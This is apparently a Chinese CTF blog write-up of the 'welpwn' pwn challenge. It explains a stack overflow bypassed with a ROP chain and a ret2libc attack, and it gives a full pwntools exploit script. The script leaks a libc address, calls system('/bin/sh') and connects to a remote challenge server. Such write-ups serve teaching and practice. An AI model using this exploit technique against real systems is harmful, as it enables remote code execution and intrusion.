CTF学习日记----攻防世界pwn高手区welpwn
前言
本人CTF菜鸡一枚,今天也是第一次创作博客,今天做了一个ROP链的题目,特地记录一下,如有错误,还请各位大佬批评指正,侵删。
题目
题目没有任何提示,附件扔进kali看看
64位程序,开启NX保护。对于NX保护,我的理解是NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,这时就违反了NX,CPU就不干了,从而不能执行恶意指令。但是我们可以通过其他命令绕过NX保护,比如本题使用libc的函数暴露地址,从而获取系统函数地址,达到渗透。
附上常用保护机制介绍
IDA查看
主函数没什么问题,buf也没法溢出
溢出点在echo函数
可以看到参数a1就是buf,a1要复制给s2,s2只有16字节大小存在溢出。但是可以看到有判断条件 for ( i = 0; *(_BYTE *)(i + a1); ++i ),字符串复制遇到0时停止,这就意味着我们无法直接溢出修改返回地址,因为程序是64位包装的,所以当传入地址时必定会出现多个0,比如本题中main地址0x04007CD,传入的时候就变为0x0000000004007CD,前两个字节无法复制到s2,那么就不能传送有参数的函数,但是我们需要system(’/bin/sh’)因此需要进行绕过。这里的绕过方法就是ROP链绕过。
对于ROP链绕过基本原理,我的理解就是伪装栈空间,我们知道在函数结束时通过pop和ret指令清空本函数栈空间,并恢复调用函数栈空间,这就给了我们操作的空间。我们可以在栈空间中人为的进行pop 和ret,伪装成函数结束,就可以进行跳转,你可能会问了?函数最后函数会pop和ret,提前人为进行有什么用处呢,实际上我们可以将ret指令的返回地址再次改为pop和ret那么我们就可以一直从栈空间向下寻找直到找到我们想要的数据为止。
栈内容 | 栈所属变量 |
---|---|
aaaaaaaa | s2 |
aaaaaaaa | s2 |
aaaaaaaa | ebp |
aaaaaaaa | echo返回地址 |
aaaaaaa | buf |
… | buf |
_____ | main初始栈时ebp |
根据IDA对s2栈空间的分析可知,echo的栈与主函数中的buf的栈空间相邻,虽然我们不能直接跳转到system(bin/sh)但是我们可以通过echo的返回地址进行多次的rop从而将栈指针指向buf中的某个字节中去,在其中写入地址和参数,如图所示。
栈内容 | 栈所属变量 |
---|---|
aaaaaaaa | s2 |
aaaaaaaa | s2 |
aaaaaaaa | ebp |
pop_ret | echo返回地址 |
aaaaaaa | buf |
aaaaaaa | buf |
aaaaaaa | buf |
pop_ret | |
… | buf |
_____ | main初始栈时ebp |
我们知道当echo函数执行到结束时,将进行ret操作,ret实质上就是pop ip,那么pop_ret的地址就赋给了ip,此时栈指针指向buf第0字节,程序找到ip内容进行pop和ret操作,这时函数将buf的第0字节pop掉,之后进行ret,第一字节的内容将会作为下一条指令的地址执行。
但是,我们不能在第一字节里写入地址,因为s2复制时有不为零的条件,为了能够使s2顺利溢出到echo返回地址,buf的前24个必须为数据,那么在echo返回地址的内容就应该是pop4_ret,就是四次pop一次ret(前三次pop掉buf前24字节,第四次pop掉buf的25-32字节即pop4_ret这条指令),经过pop4_ret此时ip中的地址即为buf+32我们可以再次写入地址了,没有限制。如表进行写入:
栈内容 | 栈所属变量 |
---|---|
aaaaaaaa | s2 |
aaaaaaaa | s2 |
aaaaaaaa | ebp |
pop4_ret | echo返回地址 |
aaaaaaa | buf |
aaaaaaa | buf+8 |
aaaaaaa | buf+16 |
pop4_ret | buf+24 |
/bin/sh | buf+32 |
system_addr | buf+40 |
… | buf |
_____ | main初始栈时ebp |
在此处我们将写入system地址和/bin/sh参数,由于64位程序中,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
所以我们需要进行pop rdi ;ret写入参数。这是整个答题思路。
注意vc和gc体系参数传递不同,这里讨论的是gc体系
通过以上思路分析,我们需要很多地址包括system_addr,bin_sh_addr,pop4_ret_addr,pop_rdi_addr。
ROPgadget --binary ./welpwn.elf --only 'pop|ret'
pop4_ret_addr=0x0040089c pop_rdi_ret_addr=0x004008a3
由于原函数中没有任何关于system和bin/sh的字符串,我们只能从libc下手。
首先需要确定libc的版本,常用的工具就是LibcSearcher,用法libc = LibcSearcher(“write”,write_real_addr)。
首先确定write_real_addr,我们可以利用pust函数将write_got作为参数进行打印,之后重新调用main_addr构建payload。
payload = b"A"*(0x10+8)+p64(popx4_ret)
payload = payload + p64(pop_rdi_ret) + p64(write_got) + p64(puts_plt)
payload = payload + p64(main_addr)
io.recvuntil('Welcome to RCTF\n')
io.sendline(payload)
print(io.recvuntil(b'A'*(0x10+8)))
print(io.recv(3))
write_addr=u64(io.recv(6).ljust(8,b'\x00'))
得到write_addr,从而获取ibc版本.
虽然我们不知道system_addr的真实地址,但是在Libc中system_addr与libc起始地址的偏移地址时相同的因此我们可以通过write_addr获取libc起始地址,从而计算出system_addr和bin_sh_addr。
# 自适应linc
libc = LibcSearcher('write', write_addr)
libc_addr = write_addr - libc.dump('write')
system_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
构建payload.
payload = b'A' * (0x10 + 8) + p64(popx4_ret)
payload = payload + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
io.send(payload)
io.interactive()
得到flag
参考链接:
http://www.peiqi.tech/posts/56979/#welpwn
https://blog.csdn.net/seaaseesa/article/details/102944448
https://blog.csdn.net/fastergohome/article/details/103724481
源代码:
# !/usr/bin/python3
# -*- coding: GB2312 -*-
'''
@文件 :welpwn_tx.py
@说明 :
@时间 :2020/11/13 21:10:02
@作者 :tx
@版本 :1.0
'''
from pwn import *
from LibcSearcher import *
context(os= 'linux', arch = 'amd64', log_level = 'debug')
content = 0
elf = ELF("./../攻防世界/pwn高手区/welpwn.elf")
write_got = elf.got["write"]
puts_plt=elf.plt["puts"]
main_addr = elf.symbols["main"]
popx4_ret=0x40089c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pop_rdi_ret=0x4008a3 # pop rdi ; ret
if content == 1:
io = process("./../攻防世界/pwn高手区/welpwn.elf")
else:
io = remote("220.249.52.133", 53900)
def main():
payload = b"A"*(0x10+8)+p64(popx4_ret)
payload = payload + p64(pop_rdi_ret) + p64(write_got) + p64(puts_plt)
payload = payload + p64(main_addr)
io.recvuntil('Welcome to RCTF\n')
io.sendline(payload)
print(3)
print(io.recvuntil(b'A'*(0x10+8)))
print(io.recv(3))
write_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.info("write_addr=>%#x",write_addr)
# 自适应linc
libc = LibcSearcher('write', write_addr)
libc_addr = write_addr - libc.dump('write')
system_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
payload = b'A' * (0x10 + 8) + p64(popx4_ret)
payload = payload + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
io.send(payload)
io.interactive()
main()
总结
第一次写博客,感觉不要会用CSDN的编辑器,感觉写的还凑活吧,希望各位大佬多多批评指正,今天又是充实的一天呢!!!!!!QAQ